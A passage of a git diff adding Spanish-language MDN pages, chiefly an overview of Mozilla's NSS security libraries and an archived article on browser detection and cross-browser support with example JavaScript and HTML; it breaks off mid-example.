+  <li><a class="external" href="http://designshack.net/articles/css/20-amazing-examples-of-using-media-queries-for-responsive-web-design" title="http://designshack.net/articles/css/20-amazing-examples-of-using-media-queries-for-responsive-web-design">20 Amazing examples of using media queries for responsive Web design</a>, por Joshua Johnson</li>
+  <li><a class="external" href="http://designmodo.com/responsive-design-examples/" title="http://designmodo.com/responsive-design-examples/">Responsive Web design: 50 examples and best practices</a></li>
+</ul>
diff --git a/files/es/descripcion_general_sobre_nss/index.html b/files/es/descripcion_general_sobre_nss/index.html
new file mode 100644
index 0000000000..438437ad34
--- /dev/null
+++ b/files/es/descripcion_general_sobre_nss/index.html
@@ -0,0 +1,19 @@
+---
+title: Descripcion general sobre NSS
+slug: Descripcion_general_sobre_NSS
+translation_of: Mozilla/Projects/NSS/Overview
+---
+<h3 id="Proven_Application_Security_Architecture" name="Proven_Application_Security_Architecture">Proven Application Security Architecture</h3>
+<p>Si usted busca incluir soporte para SSL, S/MIME, u otro estándar de seguridad en internet en su aplicación, puede hacer uso de los servicios de seguridad en red (NSS) para implementar los aspectos referidos a seguridad que necesite. NSS provee una implementación de código abierto completa de librerías criptogŕáficas usadas por AOL, Red Hat, Sun, y otras compañías en una gran variedad de productos, incluidos los siguientes:</p>
+<ul>
+ <li>The <a class="external" href="http://www.mozilla.org/products/">Mozilla client products</a>, including <a class="external" href="http://www.mozilla.org/products/mozilla1.x/">Mozilla Suite</a>, <a class="external" href="http://www.mozilla.com/firefox/">Firefox</a>, and <a class="external" href="http://www.mozilla.com/thunderbird/">Thunderbird</a>.</li>
+ <li>The <a class="external" href="http://browser.netscape.com/">Netscape browsers</a></li>
+ <li><a class="external" href="http://communicator.aol.com/">AOL Communicator</a> and <a class="external" href="http://www.aim.com/">AOL Instant Messenger</a> (AIM)</li>
+ <li>Open source client applications such as <a class="external" href="http://www.gnome.org/projects/evolution/">Evolution</a>, <a class="external" href="http://gaim.sourceforge.net/">Gaim</a>, and <a class="external" href="http://www.openoffice.org/">OpenOffice.org</a> 2.0.</li>
+ <li>Server products from <a class="external" href="http://www.redhat.com/solutions/">Red Hat</a>: <a class="external" href="http://www.redhat.com/software/rha/directory/">Red Hat Directory Server</a>, <a class="external" href="http://www.redhat.com/software/rha/certificate/">Red Hat Certificate System</a>, and the <a class="external" href="http://directory.fedora.redhat.com/wiki/Mod_nss">mod_nss</a> SSL module for the Apache web server.</li>
+ <li>Server products from the <a class="external" href="http://www.sun.com/software/javaenterprisesystem/index.xml">Sun Java Enterprise System</a>, including Sun Java System Web Server, Sun Java System Directory Server, Sun Java System Portal Server, Sun Java System Messaging Server, and Sun Java System Application Server.</li>
+</ul>
+<p>NSS includes a framework to which developers and OEMs can contribute patches, such as assembler code, to optimize performance on their platforms. NSS 3.x has been certified on 18 platforms.</p>
+<p>For more detailed information about NSS, see the <a class="external" href="http://www.mozilla.org/projects/security/pki/nss/index.html">NSS Project Page</a> and <a href="es/NSS_FAQ">NSS FAQ</a>.</p>
+<p>Source code for a Java interface to NSS is available in the Mozilla CVS tree. For details, see <a class="external" href="http://www.mozilla.org/projects/security/pki/jss/">Network Security Services for Java</a>.</p>
+<p>NSS makes use of Netscape Portable Runtime (<a href="es/NSPR">NSPR</a>), a platform-neutral open-source API for system functions designed to facilitate cross-platform development. Like NSS, NSPR has been battle-tested in multiple products. For more information, see <a class="external" href="http://www.mozilla.org/projects/nspr/">NSPR Project Page</a>.</p>
diff --git a/files/es/detección_del_navegador_y_cobertura_a_múltiples_navegadores/index.html b/files/es/detección_del_navegador_y_cobertura_a_múltiples_navegadores/index.html
new file mode 100644
index 0000000000..f52610dc6b
--- /dev/null
+++ b/files/es/detección_del_navegador_y_cobertura_a_múltiples_navegadores/index.html
@@ -0,0 +1,504 @@
+---
+title: Detección del navegador y cobertura a múltiples navegadores
+slug: Detección_del_navegador_y_cobertura_a_múltiples_navegadores
+tags:
+  - Desarrollo_Web
+  - Todas_las_Categorías
+translation_of: Archive/Web/Browser_Detection_and_Cross_Browser_Support
+---
+<p>La detección inapropiada de navegador puede ser la pesadilla del mantenimiento de la web. Re-evaluar los puntos básicos de cuándo y cómo detectar los agentes de usuario (<em>user agents</em>) es crucial para crear un contenido web mantenible y aceptable para múltiples navegadores. Este artículo revisa varias aproximaciones a la detección de navegadores y su utilidad en circunstancias específicas para llegar a una aproximación a la detección de navegadores basada en el sentido común.</p>
+<h3 id="Consejo_rápido">Consejo rápido</h3>
+<p>Para determinar si el usuario visitante está utilizando un navegador basado en Gecko, basta con probar con:</p>
+<p><span class="highlightgreen"><code>navigator.product == 'Gecko'</code></span></p>
+<p>o buscar la secuencia:</p>
+<p><span class="highlightgreen"><code>'Gecko/'</code></span> en el <span class="highlightgreen"><code>navigator.userAgent</code></span>. Debe tenerse en cuenta que algunos otros navegadores como Safari incluyen <code>(like Gecko)</code> en su cadena de agente de usuario y pueden confundir algunas comprobaciones simples.</p>
+<h3 id="Introducción">Introducción</h3>
+<p>En un mundo <em>ideal</em> se podría escribir HTML, XML, CSS y JavaScript y preocuparse sólo por los estándares de W3C y ECMA. Sin embargo, no vivimos en tal mundo por el momento. Debido a fallos, implementaciones incompletas de los estándares y navegadores anticuados, los desarrolladores web deben ser capaces de determinar qué navegador está usando un visitante y proporcionar el contenido y código script apropiado.</p>
+<p>Aunque la detección del navegador es quizás la tarea de script más común que aborda cualquier desarrollador web, parece que la variedad de diferentes estrategias en uso para detectar navegador es ilimitada. Como miembro del equipo de evangelismo de Netscape que ha pasado más de un año investigando el contenido web, puedo decir sin duda que la mayoría de los problemas de compatibilidad encontrados en la web hoy en día se deben a una falta de comprensión de los estándares combinada con estrategias de detección de navegadores inadecuada e inapropiada.</p>
+<p>Este artículo intenta proporcionar una visión superficial de las estrategias y buenas prácticas de detección de navegadores. Para recomendaciones más específicas, puede leer el <a href="/es/Manual_de_Compatibilidad_de_Gecko" title="es/Manual_de_Compatibilidad_de_Gecko">Manual de Compatibilidad de Gecko</a>.</p>
+<h3 id="Gecko">Gecko</h3>
+<p>Aunque muchos desarrolladores web conocen Firefox, los navegadores de Mozilla y Netscape 6/7, muchos menos son conscientes de que estos navegadores son miembros de una familia completa de agentes de usuario basados en <strong>Gecko layout engine</strong> que incluyen el navegador comercial CompuServe 7, y navegadores de código abierto como <a class="external" href="http://www.gnome.org/projects/epiphany/">Epiphany</a>, <a class="external" href="http://galeon.sourceforge.net/">Galeon</a>, <a class="external" href="http://caminobrowser.org/">Camino</a>, y <a class="external" href="http://kmeleon.sourceforge.net/">Kmeleon</a>.</p>
+<p>Gecko se diseñó desde el principio para cumplir con los estándares del W3C HTML, W3C CSS, W3C XML, W3C DOM, y ECMAScript (JavaScript). También incluye características de compatibilidad que permiten gestionar razonablemente el contenido <em>heredado</em> que se desarrolló para generaciones anteriores de navegadores como Nescape Navigator 4 así como características que proporcionan compatibilidad con Internet Explorer 5 y 6. A diferencia de otros navegadores, Gecko es realmente un navegador para múltiples plataformas y proporciona idéntica cobertura en todos los sistemas operativos donde está admitido.</p>
+<p>La manera más fácil de tratar correctamente Gecko es crear contenido que sólo use los estándares. Desafortunadamente, ningún otro navegador implementa los estándares de una manera tan completa como Gecko, lo que quiere decir que los autores y desarrolladores web se ven forzados a continuar proporcionando cobertura a otros navegadores que no admiten los estándares tan bien. Afortunadamente, otros navegadores como Opera 7/8, y en menor medida Internet Explorer 5 y 6 para Windows e Internet Explorer 5 para Macintosh también implementan los estándares hasta cierto punto. Estos otros navegadores también parecen estar avanzando hacia una implementación más completa y rigurosa de los estándares y se espera que, en el futuro, los autores y desarrolladores web podrán olvidarse de la detección de navegadores al menos en lo relativo a las características gobernadas por estándares.</p>
+<p>Aún se debe resolver cómo desarrollar contenido basado en estándares sin dejar de aprovechar las diferentes implementaciones de los navegadores modernos y, al mismo tiempo, admitir (en menor grado) los navegadores más antiguos y capaces. La detección de navegadores es clave para cumplir esta tarea.</p>
+<h3 id="Resumen_de_la_historia_de_la_detección_de_navegadores">Resumen de la historia de la detección de navegadores</h3>
+<p>Para entender por qué muchas estrategias comunes de detección de navegadores son inapropiadas, hay que referirse primero a cómo surgieron estas estrategias.</p>
+<p>En los primeros días de la web, <a class="external" href="http://www.w3.org/MarkUp/">HTML</a> era muy simple, no estandarizado y no incluía ninguna capacidad para scripts del lado cliente. HTML en sí mismo no se estandarizó hasta que se presentó HTML 2.0 a finales de 1995 y ni siquiera incluía tablas. Los suministradores de navegadores como Netscape y Microsoft competían para añadir <em>características</em> atractivas al HTML que implementaban en sus navegadores para proporcionar el contenido más atractivo y rico a sus usuarios e inducir a los autores web a hacer uso de ello. Las capacidades de los navegadores para incluir lo último y mejor en contenidos cambiaban casi diariamente.</p>
+<p>Los autores web se encontraron desde el principio con una variedad de navegadores, algunos de los cuales implementaban la mejor y última versión de HTML y algunos que no lo hacían. La solución era o bien proporcionar el mínimo común denominador de HTML o usar técnicas de detección de navegadores en el servidor web para enviar contenido personalizado a cada navegador dependiendo del grado de implementación que proporcionaba éste. Acababa de nacer la detección de navegadores en el lado del servidor usando las cadenas de agente de usuario.</p>
+<p>Las cadenas de agente de usuario se definen en el protocolo HTTP y están disponibles para los servidores web (refiérete al <a class="external" href="http://tools.ietf.org/html/rfc1945" title="http://tools.ietf.org/html/rfc1945">RFC 1945</a> - Hypertext Transfer Protocol 1.0 and <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a> - Hypertext Transfer Protocol 1.1).</p>
+<p>La aproximación más común en este momento era distinguir los agentes de usuario por <em>vendor (suministrador)</em> y <em>version (versión)</em> usando la cadena de agente de usuario recibida. Aunque esta aproximación se consideraba razonable en aquel momento, causó problemas a los suministradores de navegadores desde el principio. Los navegadores Netscape originales usaban una cadena de usuario que comenzaba con el nombre en clave del navegador Netscape seguido por su número de versión, p.e. <code>Mozilla/version</code> seguido por un token de comentario que daba información adicional relativa al sistema operativo usado, etc. Puesto que las primeras técnicas de detección de navegadores se basaban en buscar un navegador basado en Netscape y sólo proporcionaban contenido personalizado a los navegadores que usaban la cadena de usuario <code>Mozilla/version</code>, otros suministradores hicieron norma el uso de <code>Mozilla/version</code> para indicar que eran compatibles con una versión en concreto de Netscape. Ya que otros navegadores <em>fingían</em> ser navegadores Netscape y codificaban su información de versión de una manera no estándar en el área de comentarios del agente de usuario, la tarea de determinar qué navegador se estaba usando se convirtió en más complicada de lo que debía haber sido.</p>
+<p>Netscape Navigator 2 introdujo la capacidad de ejecutar JavaScript en los navegadores web. A medida que la evolución de los navegadores continuó, aparecieron las diferencias en la implementación del script y los objetos admitidos por el navegador. Los autores web ya no debían sólo detectar los navegadores web en sus servidores web, sino que podían ahora ejecutar scripts en el lado cliente (en el mismo navegador) que podían usarse para distinguir navegadores. Una de las primeras aproximaciones a la detección de navegadores en el lado cliente incluía probar si el navegador implementaba determinados <em>objetos</em>. Un ejemplo de esta aproximación era probar la existencia del objeto <code>document.images</code>.</p>
+<p>Aunque la <em>detección basada en objetos</em> se usó en algunas circunstancias, muchos autores web continuaron usando la aproximación <em>vendor/version</em> para distinguir navegadores web en sus scripts del lado cliente. Puesto que la cadena de agente de usuario era accesible como una propiedad del objeto <code>navigator</code> (p.e. <code>navigator.userAgent</code>), muchos autores web usaron la misma lógica en sus scripts del lado cliente que ya habían usado anteriormente en el lado del servidor. Además de <code>navigator.userAgent</code> estaban disponibles otras propiedades como <code>appName</code> y <code>appVersion</code> en el objeto <code>navigator</code> que podían usarse en las estrategias de detección de navegadores <em>vendor/version</em>.</p>
+<p>El ejemplo clásico de esta estrategia de detección <em>vendor/version</em> en el lado cliente puede encontrarse en el <a class="external" href="http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html">Ultimate Browser Sniffer</a>. Este script y variantes del mismo pueden encontrarse hoy en día en muchos sitios web, donde es una fuente común de problemas de detección.</p>
+<p>Netscape Navigator 4 e Internet Explorer 4 introdujeron la capacidad de manipular el contenido HTML en un navegador (Dynamic HTML o <a href="/es/DHTML" title="es/DHTML">DHTML</a>) en lugar de en el servidor web y comenzaron la introducción de las implementaciones de <a href="/es/CSS" title="es/CSS">CSS</a> para proporcionar estilos al contenido. Esta generación de navegadores, además de compartir varias características que no estaban disponibles en versiones previas, implementaban cada una su propias (e incompatibles) capacidades competidoras para manipular contenido en una página web.</p>
+<p>Dado que los navegadores de cada suministrador implementaban diferentes objetos para ejecutar DHTML, los autores web comenzaron a usar la detección de objetos para distinguir <em>vendor/version</em> a través de la existencia de objetos JavaScript concretos. La existencia de <code>document.layers</code> era suficiente para estar seguro de que el navegador era Netscape Navigator 4 mientras que la existencia de <code>document.all</code> era suficiente para estar seguro de que el navegador era Microsoft Internet Explorer 4. Una suposición implícita que muchos autores web de esa época hacían era que sólo había dos tipos de navegadores disponibles... Netscape Navigator y Microsoft Internet Explorer.</p>
+<p>Estas estrategias de clasificar los navegadores por <em>vendor/version</em>, asumiendo que los únicos navegadores en uso eran Netscape Navigator 4 o Internet Explorer 4 <strong>falló</strong> cuando aparecieron navegadores alternativos como los basados en Gecko. Muchos de los problemas informados en la prensa sobre la incapacidad de Gecko de mostrar contenido estaban directamente relacionados con estrategias de detección de navegadores inadecuadas e inapropiadas.</p>
+<p>Una nota final en las estrategias <em>vendor/version</em>. Un desarrollador web que use completamente la detección y distinciones de navegador en el <a class="external" href="http://www.mozilla.org/docs/web-developer/sniffer/browser_type.html">Ultimate Browser Sniffer</a> producirá código que usa bifurcaciones de código para muchos navegadores y versiones. Imagine intentar mantener un sitio web que use muchas de las variables disponibles de Ultimate Browser Sniffer.</p>
+<table> <tbody> <tr> <td>suministrador del navegador</td> <td>is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV</td> </tr> <tr> <td>número de versión del navegador</td> <td>is_major (integer que indica el número de versión mayor: 2, 3, 4 ...), is_minor (float que indica el número de versión completo: 2.02, 3.01, 4.04 ...)</td> </tr> <tr> <td>suministrador Y número de version mayor del navegador</td> <td>is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up</td> </tr> <tr> <td>número de versión de JavaScript</td> <td>is_js (float que indica el número completo de versión de JavaScript: 1, 1.1, 1.2 ...)</td> </tr> <tr> <td>plataforma y versión de SO</td> <td>is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k, is_os2, is_mac, is_mac68k, is_macppc, is_unix, is_sun, is_sun4, is_sun5, is_suni86, is_irix, is_irix5, is_irix6, is_hpux, is_hpux9, is_hpux10, is_aix, is_aix1, is_aix2, is_aix3, is_aix4, is_linux, is_sco, is_unixware, is_mpras, is_reliant, is_dec, is_sinix, is_freebsd, is_bsd, is_vms</td> </tr> </tbody>
+</table>
+<p><strong>¡Detectar navegadores usando este nivel de detalle es inmanejable, inmantenible y viola los principios básicos de la autoría web!</strong> Se recomienda profundamente a todo el mundo que evite esta trampa.</p>
+<h3 id="Problemas_causados_por_una_detección_inapropiada_del_navegador">Problemas causados por una detección inapropiada del navegador</h3>
+<h4 id="Exclusión_de_navegadores_desconocidos">Exclusión de navegadores desconocidos</h4>
+<p>Si en su lógica de detección sólo proporciona pruebas para navegadores específicos, su sitio no será utilizable en caso de que un visitante use un navegador diferente. Considere el siguiente ejemplo:</p>
+<p><code> </code></p>
+<pre>// PROCEDIMIENTO ERRÓNEO - no usar!
+if (document.all)
+{
+// Internet Explorer 4+
+document.write('&lt;link rel="stylesheet" type="text/css" src="style-ie.css"&gt;');
+}
+else if (document.layers)
+{
+// Navigator 4
+document.write('&lt;link rel="stylesheet" type="text/css" src="style-nn.css"&gt;');
+}
+</pre>
+<p>Observe cómo el ejemplo anterior sólo proporcionaba hojas de estilo para Internet Explorer y Navigator 4, e incluso así sólo si el visitante tiene JavaScript activado en su navegador. Los usuarios de Netscape 6, Netscape 7, CompuServe 7, Mozilla, Opera no podrán ver el sitio correctamente.</p>
+<h4 id="Interpretación_errónea_de_los_navegadores">Interpretación errónea de los navegadores</h4>
+<p>Un error común que hacen los autores web es asumir que si un navegador no es Netscape Navigator 4, ha de ser Internet Explorer y viceversa. Por ejemplo:</p>
+<pre>// PROCEDIMIENTO ERRÓNEO - no usar!
+if (document.all)
+{
+  // Internet Explorer 4+
+  elm = document.all['menu'];
+}
+else
+{
+  // Se asume Navigator 4
+  elm = document.layers['menu'];
+}
+</pre>
+<p>Observe cómo el ejemplo anterior asumía que cualquier navegador que no sea Internet Explorer ha de ser Navigator 4 e intentaba usar <em>Layers</em>. Éste es un origen común de problemas al usar navegadores basados en Gecko así como Opera. Un error similar puede verse en el siguiente ejemplo:</p>
+<pre>// PROCEDIMIENTO ERRÓNEO - no usar!
+if (document.layers)
+{
+  // Navigator 4
+  elm = document.layers['menu'];
+}
+else
+{
+  // Se asume Internet Explorer 4+
+  elm = document.all['menu'];
+}
+</pre>
+<p>Netscape 6 fue el primer navegador comercial publicado basado en Gecko. Debido a una falta de comunicación y comprensión, muchos sitios han creado estrategias de detección inapropiadas basadas en la cadena de agente de usuario de Netscape 6. La cadena de agente de usuario de Netscape 6 sigue los estándares HTTP para especificar la versión del agente de usuario (véase <a class="external" href="http://www.mozilla.org/build/revised-user-agent-strings.html">Mozilla user-agent strings</a> y <a href="/es/Cadenas_de_agente_de_usuario_de_Gecko" title="es/Cadenas_de_agente_de_usuario_de_Gecko">Cadenas de agente de usuario de Gecko</a>).</p>
+<pre class="eval">Mozilla/5.0 (...) Gecko/20001108 Netscape6/6.0
+</pre>
+<p>El primer par suministrador/versión (Mozilla/5.0) indica que Netscape 6 es un navegador de <em>quinta</em> generación y que no es idéntico a los navegadores anteriores. Todos los navegadores basados en Gecko devuelven actualmente Mozilla/5.0 como su versión primaria aunque ningún otro navegador lo hace así en este momento. Se confía en que, cuando otros suministradores de navegadores alcancen el mismo nivel de cumplimiento de estándares que Gecko y comiencen a eliminar la compatibilidad con navegadores antiguos, ellos también comenzarán a informar que su versión es 5. Asumir que únicamente Gecko usa Mozilla/5.0 hará que su lógica de detección de navegadores falle tan pronto como otro suministrador publique un navegador que devuelva Mozilla/5.0.</p>
+<p>El segundo par suministrador/versión (Gecko/20001108) identifica Netscape 6 como una versión concreta de Gecko que se compiló el 8 de noviembre de 2000. Si debe detectar Gecko usando la cadena de agente de usuario, Gecko/CCYYMMDD es la cadena más adecuada a buscar.</p>
+<p>El tercer par suministrador/versión (Netscape6/6.0) identifica esta instancia en particular de un navegador Gecko como Netscape 6.0. Muchos sitios se centraron en la existencia de la cadena Netscape6 en el agente de usuario y usaron comprobaciones similares a:</p>
+<pre>if (navigator.userAgent.indexOf('Netscape6') != -1)
+{
+  // Netscape 6 code
+}
+</pre>
+<p>Observe cómo este tipo de detección obvia cualquier otro navegador basado en Gecko. Desafortunadamente, la cadena de agente de usuario de Netscape 6 no era suficientemente generalizable debido a su uso de la cadena Netscape6 como descripción del suministrador. Netscape 7 corrige este error e introduce otra posibilidad de que falle la detección basada en la cadena de agente de usuario.</p>
+<pre class="eval">Mozilla/5.0 (...) Gecko/200207XX Netscape/7.0
+</pre>
+<p>Observe cómo Netscape 7 ya no usa la cadena Netscape6 como suministrador. Cualquier estrategia de detección de cadena de usuario para Gecko basada en la existencia de la cadena Netscape6 fallará si el navegador es Netscape 7.</p>
+<h4 id="Utilización_de_objetos_JavaScript_para_determinar_el_suministradorversión_(vendorversion)">Utilización de objetos JavaScript para determinar el <em>suministrador/versión</em> (vendor/version)</h4>
+<p>Como ya se ha discutido, una aproximación común en el pasado fue usar objetos para clasificar los navegador por <em>suministrador/versión</em>. Un tipo común de detección que originalmente se escribió para identificar únicamente Netscape Navigator 4 e Internet Explorer 4 podría tener este aspecto:</p>
+<pre>// PROCEDIMIENTO ERRÓNEO - no usar!
+if (document.all)
+{
+  // IE4
+  height = document.body.offsetHeight;
+}
+else if (document.layers)
+{
+  // NN4
+  height = window.innerHeight;
+}
+else
+{
+  // other
+  height = 0;
+}
+</pre>
+<p>Con la introducción de DOM de W3C, el método estándar <code>document.getElementById</code> pasó a estar disponible en Internet Explorer 5 y más tarde en Netscape 6 (Gecko). Muchos autores web decidieron que la manera más fácil de identificar Netscape Gecko era añadir otra bifurcación de código como sigue:</p>
+<pre>// PROCEDIMIENTO ERRÓNEO - no usar!
+if (document.all)
+{
+  // IE4
+  height = document.body.offsetHeight;
+}
+else if (document.layers)
+{
+  // NN4
+  height = window.innerHeight;
+}
+else if (document.getElementById)
+{
+  // Creen que esto es Gecko
+  // ¡pero podrían estar equivocados!
+  height = window.innerHeight;
+}
+else
+{
+  // Otros
+  height = 0;
+}
+</pre>
+<p>La aproximación es incorrecta ya que asumen que el único otro navegador además de Internet Explorer 5+ que implementa <code>document.getElementById</code> es Gecko. Esto no es cierto hoy en día y será cada vez menos cierto a medida que aparezcan más navegadores en el futuro que implementen los estándares DOM de W3C.</p>
+<h3 id="Recomendaciones">Recomendaciones</h3>
+<h4 id="Centrarse_en_los_estándares_y_no_en_navegadores_concretos">Centrarse en los estándares y no en navegadores concretos</h4>
+<p>Si bien el período de 1994 a 2000 estuvo dominado por navegadores incompatibles y no estándares de Netscape y Microsoft, ahora el factor dominante en el desarrollo web son los estándares propuestos por el World Wide Web Consortium <a class="external" href="http://www.w3.org/">(W3C)</a>. Los estándares son importantes para los desarrolladores web debido al incremento de la flexibilidad, potencia de presentación y ayudas a los usuarios con alguna discapacidad, por citar sólo algunas razones.</p>
+<p>Orientar el contenido de una web a suministradores concretos ignora la posibilidad de que puedan aparecer otros navegadores que implementen los mismos estándares en el futuro. Un problema común en la web hoy en día es la suposición de que los únicos navegadores en el mundo son Netscape Navigator y Microsoft Internet Explorer. Esto ignora la existencia de <a class="external" href="http://www.opera.com">Opera</a> así como los dispositivos de mano más modernos que se están usando para acceder a la web ahora y en el futuro.</p>
+<p>Los navegadores basados en Mozilla (como Firefox), <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnie60/html/cssenhancements.asp">Internet Explorer 6</a> en Windows, e Internet Explorer 5 para Macintosh implementan todos ellos <em>DOCTYPE switching</em>. Ésta es una técnica por la cual estos navegadores pueden cambiar de un <a href="/en/Mozilla's_Quirks_Mode">modo con "veriecuetos" ("Quirks" mode)</a> (que emula las implementaciones con errores de los navegadores de generaciones anteriores) a un modo de estándares (que se adhiere más estrictamente a los estándares). Para los contenidos nuevos, se recomienda el uso de un DOCTYPE que invoque el modo de estándares en Gecko e Internet Explorer 6. Esto asegurará que sus diseños funcionen de manera similar en estos navegadores así como en otros navegadores que implementen los estándares.</p>
+<h4 id="Proporcionar_una_alternativa_a_los_navegadores_desconocidos">Proporcionar una alternativa a los navegadores desconocidos</h4>
+<p>Proporcione siempre contenido y bifurcaciones de código para los navegadores desconocidos. La aproximación recomendada es asumir que cualquier navegador no conocido implementa los estándares básicos de HTML y CSS y hasta cierto nivel JavaScript y DOM de W3C. Esto garantizará que su contenido será admitido hoy y en el futuro por <strong>cualquier</strong> navegador que implemente los estándares.</p>
+<h4 id="Limitar_el_uso_de_características_específicas_de_un_suministradorversión">Limitar el uso de características específicas de un suministrador/versión</h4>
+<p>Crear contenido que sea conforme a los estándares es la manera más fácil de dar cobertura al rango más amplio posible de agentes de usuario y decrementar sus costes de mantenimiento. Aunque no siempre es posible evitar las diferencias entre valores específicos de <em>suministrador/versión</em> de varios navegadores, el uso de tales características y la distinción entre navegadores basada en valores de <em>suministrador/versión</em> debería estar estrictamente limitada a aquellas áreas donde aún se requiera.</p>
+<h4 id="Limitar_el_uso_de_detección_basada_en_la_cadena_de_agente_de_usuario">Limitar el uso de detección basada en la cadena de agente de usuario</h4>
+<p>La detección de navegadores en el lado del servidor requiere el uso de cadenas de agente de usuario. Recomendamos que el uso de la detección basada en cadenas de agente de usuario se limite a situaciones en el lado del servidor y únicamente a aquellas circunstancias donde es absolutamente necesario, como cuando es preciso obtener detalles de la rama de Gecko.</p>
+<p>Hay razones <strong>legítimas</strong> para usar la cadena de agente de usuario (o el objeto <code>navigator</code>) para determinar exactamente qué suministrador, versión o sistema operativo se está usando. Muchos sitios financieros (bancos, firmas que operan en bolsa online, etc.) tienen políticas muy estrictas con respecto a qué navegadores prestan asistencia. Esto se debe al historial de problemas de seguridad que se han descubierto en navegadores antiguos. Si tiene la necesidad de permitir sólo a algunas versiones concretas de navegadores que usen su sitio seguro, entonces la cadena de agente de usuario y la información relacionada del objeto <code>navigator</code> pueden resultar muy útiles.</p>
+<p>También puede usar información detallada con respecto a la versión de un navegador para solventar fallos en versiones específicas de un navegador. Sin embargo, esto puede derivar rápidamente en una pesadilla para el mantenimiento si no es cuidadoso. Se recomienda que tome estas medidas sólo con carácter temporal y, tan pronto como se corrijan en versiones más modernas del navegador, que requiera a sus visitantes que actualicen éste.</p>
+<h4 id="Proporcionar_páginas_básicas_para_los_navegadores_más_antiguos">Proporcionar páginas básicas para los navegadores más antiguos</h4>
+<p>Ningún sitio web comercial de hoy en día considera un requisito que se visualice correctamente en Netscape Navigator versiones 1, 2 o 3, o Microsoft Internet Explorer 3. Las razones son que las capacidades de esos navegadores son demasiado limitadas comparadas con los navegadores más modernos, los requerimientos añadidos de desarrollo y control de calidad incrementan demasiado el coste de desarrollo de los sitios web y la cuota de mercado de tales navegadores no justifica el coste de tenerlos en cuenta.</p>
+<p>Una de las decisiones más importantes que puede tomar de cara a mejorar la calidad de su sitio y reducir los costes de desarrollo, mantenimiento y control de calidad es proporcionar sólo una atención limitada a los navegadores más antiguos tales como Netscape Navigator 4 e Internet Explorer 4. Una de las aproximaciones más comunes en los sitios web más importantes es proporcionar una versión de bajo nivel de una página web a los navegadores más antiguos a la vez que proporciona una página más rica que usa CSS y JavaScript avanzados a los navegadores más modernos. Esto puede conseguirse mediante la detección del navegador en el lado del servidor, ya sea como parte de una solución basada en scripts o como parte de la capacidad nativa del servidor web de proporcionar diferente contenido a diferentes agentes de usuario. Esta aproximación no requiere necesariamente que prepare páginas separadas para los navegadores modernos y los más simples. Una solución común es escribir el contenido en un formato neutral como XML y usar transformaciones XSLT para generar el HTML necesario para cada clase de navegador.</p>
+<p>El que un navegador en concreto debe recibir la versión de bajo nivel depende hasta cierto punto de qué características de JavaScript o CSS se estén usando en el contenido avanzado. Netscape Navigator e Internet Explorer 4 deberían considerarse ambos navegadores de bajo nivel para la mayoría de las páginas debido a su limitada implementación de los estándares basados en CSS y el más reciente DOM. Si sus páginas hacen uso de JavaScript avanzado que manipula o crea nuevo contenido usando la especificación DOM Core de W3C, entonces Opera 5 y 6 también deben considerarse de bajo nivel debido a su limitada implementación de DOM de W3C.</p>
+<p>El futuro pertenece a los desarrolladores y navegadores que implementen los estándares. Si deja de sacar partido a los cambios que se avecinan en los navegadores, los competidores se comeran su comida. Cuando eso suceda, el único lugar en el que se podrá encontrar su sitio web es en el <a class="external" href="http://web.archive.org">archivo web</a>.</p>
+<h4 id="Usar_detección_no_basada_en_script_cuando_sea_posible">Usar detección no basada en script cuando sea posible</h4>
+<p>Los navegadores más antiguos tienen muchas limitaciones que hacen que ignoren las características más avanzadas. El uso juicioso de estas limitaciones en los navegadores más antiguos le permitirá incluir contenido moderno sin dejar de prestar asistencia a los navegadores antiguos.</p>
+<p>HTML proporciona varios métodos para detectar si una implementación incluye diversas características como scripts y marcos. Use estas capacidades naturales de HTML para extender el abanico de navegadores admitido por el contenido de su web.</p>
+<h4 id="Usar_NOFRAMES_para_dar_cobertura_a_los_navegadores_que_no_implementan_marcos">Usar NOFRAMES para dar cobertura a los navegadores que no implementan marcos</h4>
+<pre>&lt;HTML&gt;
+  &lt;HEAD&gt;
+    &lt;TITLE&gt;Marcos&lt;/TITLE&gt;
+  &lt;/HEAD&gt;
+  &lt;FRAMESET ROWS="30,*"&gt;
+    &lt;FRAME SRC="foo.html"&gt;
+    &lt;FRAME SRC="bar.html"&gt;
+    &lt;NOFRAMES&gt;
+      &lt;BODY&gt;
+        &lt;P&gt;
+          Esta página requiere marcos. Vea el mapa de sitio:  &lt;a href="noframes.html"&gt;&lt;/a&gt;.
+        &lt;/P&gt;
+      &lt;/BODY&gt;
+    &lt;/NOFRAMES&gt;
+  &lt;/FRAMESET&gt;
+&lt;/HTML&gt;
+</pre>
+<h4 id="Usar_NOSCRIPT_para_dar_cobertura_a_los_navegadores_que_no_permiten_el_uso_de_scripts">Usar NOSCRIPT para dar cobertura a los navegadores que no permiten el uso de scripts</h4>
+<p>Algunos navegadores pueden no implementar scripting, y algunos usuarios pueden tener los scripts desactivados en sus navegadores. Use la etiqueta NOSCRIPT para proporcionar a esos usuarios versiones alternativas de sus páginas que no usen scripts, o al menos notificarles de la necesidad de permitir la ejecución de scripts para poder visualizar su contenido correctamente.</p>
+<p>Dado que navegadores tales como Netscape Navigator 4 e Internet Explorer 4 no implementan algunas de las adiciones más recientes al estándar JavaScript (ECMAScript), a menudo es necesario limitar el uso las características avanzadas de JavaScript tales como el procesamiento de <em>excepciones</em>. Una aproximación es requerir que los usuarios de navegadores que no admitan el nivel de JavaScript usado en su contenido <strong>desactiven</strong> JavaScript para poder usar su contenido. Puede hacer esto proporcionando un mensaje de error a los usuarios de navegadores más antiguos así como un contenido alternativo incluido en las etiquetas NOSCRIPT.</p>
+<pre>&lt;HTML&gt;
+  &lt;HEAD&gt;
+    &lt;TITLE&gt;Sin script ('noscript')&lt;/TITLE&gt;
+  &lt;/HEAD&gt;
+  &lt;BODY&gt;
+    &lt;SCRIPT LANGUAGE="JavaScript"&gt;
+      window.onerror = function ()
+      {
+        // Envía al usuario a una página describiendo las limitaciones
